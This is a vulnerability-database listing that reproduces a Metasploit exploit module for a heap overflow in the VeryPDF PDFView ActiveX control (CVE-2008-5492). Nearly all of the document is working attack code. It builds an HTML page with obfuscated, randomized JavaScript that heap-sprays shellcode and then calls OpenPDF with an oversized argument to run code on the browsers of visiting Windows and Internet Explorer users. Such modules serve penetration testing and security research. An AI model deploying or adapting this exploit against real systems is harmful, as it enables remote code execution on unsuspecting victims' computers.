VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

                                                ##
# $Id: verypdf_pdfview.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
				because it fails to properly bounds-check user-supplied data before copying
				it into an insufficiently sized memory buffer. An attacker can exploit this issue
				to execute arbitrary code within the context of the affected application.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39;, &#39;dean &#60;dean [at] zerodaysolutions [dot] com&#62;&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-5492&#39;],
					[ &#39;OSVDB&#39;, &#39;49871&#39;],
					[ &#39;BID&#39;,&#39;32313&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;, { &#39;Ret&#39; =&#62; 0x0c0c0c0c } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 16 2008&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret    = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
			&#60;html&#62;
				&#60;object id=&#39;#{vname}&#39; classid=&#39;clsid:433268D7-2CD4-43E6-AA24-2188672E7252&#39;&#62;&#60;/object&#62;
				&#60;script language=&#34;JavaScript&#34;&#62;
				var #{rand1} = unescape(&#39;#{shellcode}&#39;);
				var #{rand2} = unescape(&#39;#{ret}&#39;);
				var #{rand3} = 20;
				var #{rand4} = #{rand3} + #{rand1}.length;
				while (#{rand2}.length &#60; #{rand4}) #{rand2} += #{rand2};
				var #{rand5} = #{rand2}.substring(0,#{rand4});
				var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
				while (#{rand6}.length + #{rand4} &#60; 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
				var #{rand7} = new Array();
				for (#{var_i} = 0; #{var_i} &#60; 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
				var #{rand8} = &#34;&#34;;
				for (#{var_i} = 0; #{var_i} &#60; 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape(&#39;#{ret}&#39;) }
				#{vname}.OpenPDF(#{rand8}, 1, 1);
				&#60;/script&#62;
			&#60;/html&#62;
			|

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1